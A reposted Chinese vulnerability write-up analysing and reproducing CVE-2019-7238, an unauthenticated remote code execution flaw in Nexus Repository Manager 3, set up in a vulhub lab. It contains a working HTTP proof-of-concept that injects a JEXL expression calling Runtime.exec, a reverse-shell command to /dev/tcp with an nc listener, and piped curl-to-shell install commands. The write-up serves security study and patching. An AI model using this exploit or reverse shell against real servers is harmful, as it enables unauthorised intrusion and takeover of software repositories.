文档章节

Nexus Repository Manager 3(CVE-2019-7238) 远程代码执行漏洞分析和复现

o
 osc_y8yehimr
发布于 2019/03/20 13:19
字数 1705
阅读 27
收藏 0

精选30+云产品,助力企业轻松上云!>>>

0x00 漏洞背景

Nexus Repository Manager 3是一款软件仓库,可以用来存储和分发Maven,NuGET等软件源仓库。其3.14.0及之前版本中,存在一处基于OrientDB自定义函数的任意JEXL表达式执行功能,而这处功能存在未授权访问漏洞,将可以导致任意命令执行漏洞。2019年2月5日Sonatype发布安全公告,在Nexus Repository Manager 3中由于存在访问控制措施的不足,未授权的用户可以利用该缺陷构造特定的请求在服务器上执行Java代码,从而达到远程代码执行的目的。

 

0x01 影响范围

Nexus Repository Manager OSS/Pro 3.6.2 版本到 3.14.0 版本

 

0x02  漏洞概述

从官方的漏洞简述来看简单的来说就是由于未授权访问的用户可以构造请求而造成任意代码执行。而且因为3.15.0+以上的版本增加了用户认证,所以3.15.0+的版本不受此漏洞的影响。所以根据diff的结果,可以大致的确定漏洞在org.sonatype.nexus.coreui.ComponentComponent#previewAssets

-w1338

0x03  整体触发流程

ExtDirectModule$configure:60 # 路由绑定与请求解析
ExtDirectServlet$doPost:155 # 处理post请求
DirectJNgineServlet$doPost:595 # 根据不同的Content-Type来解析请求
DirectJNgineServlet$processRequest:632 # 解析json请求
JsonRequestProcesor$process:119 # 解析json语法树
JsonRequestProcessor$getIndividualJsonRequests:216 # 提取json数据
JsonRequestProcesor$process:133 # 构造返回结构
ComponentComponent$previewAssets:188 # 解析post包中的data数据并构造查询语句查询包
ComponentComponent$previewAssets:208 # 获得查询结果
BrowseServiceImpl$previewAssets:252 # 构建OrientDb查询语句
BrowseServiceImpl$previewAssets:258 # 拼接查询语句
BrowseServiceImpl$previewAssets:262 # 执行查询
MetadataNodeEntityAdapter$countByQuery:221 # 执行OrientDb查询语句
ContextExpressionFunction$execute:125 # 提取jexl表达式
ContextExpressionFunction$checkJexlExpression:154 # 执行jexl表达式

0x03 漏洞分析

漏洞的触发主要分两部分:post包解析及jexl表达式执行。

1. post包解析

首先先看一下web.xml中如何做的路由解析:

org.sonatype.nexus.bootstrap.osgi.DelegatingFilter拦截了所有的请求,大概率为动态路由加载,动态路由加载需要配置相应的Module模块用代码将配置与路由进行绑定并显式加载servlet,而该漏洞的入口就在org.sonatype.nexus.extdirect.internal.ExtDirectModule#configure中:

直接跟进org.sonatype.nexus.extdirect.internal.ExtDirectServlet$doPost:

继续向下更进看到处理post请求的部分:

在这里我们跟进看一下如何对json格式的请求进行处理:

首先对json的语法树进行解析,将数据提取出来:

可以看到需要5个变量分别为actionmethodtidtypedata

注意到isBatched是由参数长度决定的,而返回的一个数组,其长度为1,所以isBatchedfalse。之后就是传入processIndividualRequestsInThisThread方法中:

在这里构造返回的结果,可以看到这里在有一个json反序列化的过程,这里主要是将返回结果以json格式返回。

2. jexl表达式执行

从post包的解析中可以得知我们需要构造5个参数,同时当我们构造好actionmethod后,可以直接动态调用相应的类与方法。

这个漏洞出现在org.sonatype.nexus.coreui.ComponentComponent#previewAssets:

首先将post包中repositoryNameexpressiontype的值取出来,这三个参数分别代表已经存在的repository的名字、expression的类型,以及表达式。

着重看一下jexl的处理过程:

注意到这里只是实例化了一个JexlSelector对象,而并没有调用evaluate来执行表达式,所以漏洞的触发点在其他的位置。而真正的表达式执行点在browseService.previewAssets的处理过程中,这一点也是这个漏洞最为难找的一个点。

跟进previewAssets的实现,在org.sonatype.nexus.repository.browse.internal.BrowseServiceImpl#previewAssets

在这里可以看到表达式最后会被当做参数形成SQL查询,最后由OrientDb执行:

但是OrientDb本身是没有contentExpression这个方法的,也就是说明这个方法是用Java来实现的,找了一下,在org.sonatype.nexus.repository.selector.internal.ContentExpressionFunction

checkJexlExpression中:

调用了selectorManage.evaluate来执行jexl表达式:

0x04 构造POC

通过上面的分析,我们只需要按照post包解析中的参数进行相应的构造即可,下面为一个例子:

windows环境搭建:

https://help.sonatype.com/repomanager3/download/download-archives---repository-manager-3

https://sonatype-download.global.ssl.fastly.net/nexus/3/nexus-3.14.0-04-unix.tar.gz

安装参考:

https://help.sonatype.com/learning/repository-manager-3/first-time-installation-and-setup/lesson-1%3A--installing-and-starting-nexus-repository-manager

在windows上安装成功了。需要执行(默认密码:admin/admin123)

nexus.exe /run    

其POC如下:                             

POST /service/extdirect HTTP/1.1

Host:155.138.147.1:8081

User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:64.0) Gecko/20100101 Firefox/64.0

Content-Type: application/json

Content-Length: 308

Connection: close

 

{"action":"coreui_Component","method":"previewAssets","data":[{"page":1,"start":0,"limit":25,"filter":[{"property":"repositoryName","value":"*"},{"property":"expression","value":"''.class.forName('java.lang.Runtime').getRuntime().exec('calc.exe')"},{"property":"type","value":"jexl"}]}],"type":"rpc","tid":4}

注意,这个漏洞需要当Nexus中存在已有的jar包,在本地验证的时候先传一个jar报上去。至于原理分析可能后面会单独再拿出来分析。

0x05  环境搭建

1.在Ubuntu 16.04上安装docker和docker-compose:

(1).安装PIP
curl -s https://bootstrap.pypa.io/get-pip.py | python3
(2).安装docker
curl -s https://get.docker.com/ | sh
(3).启动docker服务
service docker start
(4).安装docker compose
pip install docker-compose
2.使用方法
(1).下载漏洞环境项目
git clone https://github.com/vulhub/vulhub.git
(2).进入到nexus利用环境
cd vulhub/nexus/CVE-2019-7238
(3).编译环境
docker-compose build
(4).执行如下命令启动Nexus Repository Manager 3.14.0
docker-compose build

等待一段时间环境才能成功启动,访问http://your-ip:8081即可看到的Web页面。

 

账号使用密码admin:admin123登录后台,然后在Maven的版本下随便上传一个JAR包:

 
 

触发该漏洞,必须保证仓库里至少有一个包存在。

0x06 漏洞复现

1.下载漏洞利用poc项目

git clone   https://github.com/backlion/CVE-2019-7238.git

2.进入到CVE-2019-7238目录

cd   CVE-2019-7238

3.修改cve-2019-7238.py.这里根据实际情况来修改remote = ' http://127.0.0.1:8081 '和  ARCH = “ LINUX ”的值

vi     CVE-2019-7238.py

4.在攻击者系统中执行cve-2019-7238.py脚本,然后输入反弹NC的bash
bash  -i  >&  /dev/tcp/149.248.17.172/2333    0>&1               #这里的IP是攻击者系统的IP地址
5.在攻击者系统中执行NC监听反弹
nc  -lvvp  2333
 
 

0x07  修复建议

目前官方已经发布新版本修改了该漏洞,建议您参照上述【安全版本】升级到对应的最新版本。

最新版本下载链接:

https://help.sonatype.com/repomanager3/download

 

0x08  参考链接

https://support.sonatype.com/hc/en-us/articles/360017310793-CVE-2019-7238-Nexus-Repository-Manager-3-Missing-Access-Controls-and-Remote-Code-Execution-February-5th-2019

https://www.lucifaer.com/2019/02/19/Nexus%20Repository%20Manager%203%20%E8%BF%9C%E7%A8%8B%E4%BB%A3%E7%A0%81%E6%89%A7%E8%A1%8C%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90%EF%BC%88CVE-2019-7238%EF%BC%89/

https://cert.360.cn/report/detail?id=3ec687ec01cccd0854e2706590ddc215

https://blog.csdn.net/caiqiiqi/article/details/87204472

https://blog.51cto.com/13770310/2351479

https://github.com/vulhub/vulhub/tree/master/nexus/CVE-2019-7238

 

 

 
下一篇: 移植openssl
o
粉丝 0
博文 500
码字总数 0
作品 0
私信 提问
加载中
请先登录后再评论。

暂无文章

Fetch方法封装、业务实践

  说Fetch之前啊,我们不得不说一说Ajax了,以前使用最多的自然是jQuery封装的Ajax方法了,强大而且好用。   有人说了,jQuery的Ajax都已经封装得那么好了,你还整Fetch干什么,这不是多...

osc_8nnvoyb1
3分钟前
0
0
在 Visual Studio 市场中发布项目扩展

  比较不错的开源项目中,尤其是类似于AbpNext这种级别的项目,我们都想要快速的尝试,如何提供快速给开发者提供模板是我们的一大难题。不过在VisualStudio中并没有这么难。 一.本地发布插...

osc_1wo6kipk
4分钟前
0
0
5000+字硬核干货!Redis 分布式集群部署实战

原理: Redis集群采用一致性哈希槽的方式将集群中每个主节点都分配一定的哈希槽,对写入的数据进行哈希后分配到某个主节点进行存储。 集群使用公式(CRC16 key)& 16384计算键key数据那个槽。...

osc_2jegjdnw
5分钟前
0
0
Jmeter(十四) - 从入门到精通 - JMeter定时器 - 下篇(详解教程)

1.简介   用户实际操作时,并非是连续点击,而是存在很多停顿的情况,例如:用户需要时间阅读文字内容、填表、或者查找正确的链接等。为了模拟用户实际情况,在性能测试中我们需要考虑思考...

osc_yy65eb2q
7分钟前
0
0
Redis 6.0 访问控制列表ACL说明

背景 在Redis6.0之前的版本中,登陆Redis Server只需要输入密码(前提配置了密码 requirepass )即可,不需要输入用户名,而且密码也是明文配置到配置文件中,安全性不高。并且应用连接也使用...

osc_zwv9uj8l
8分钟前
6
0

没有更多内容

加载失败,请刷新页面

加载更多

返回顶部
顶部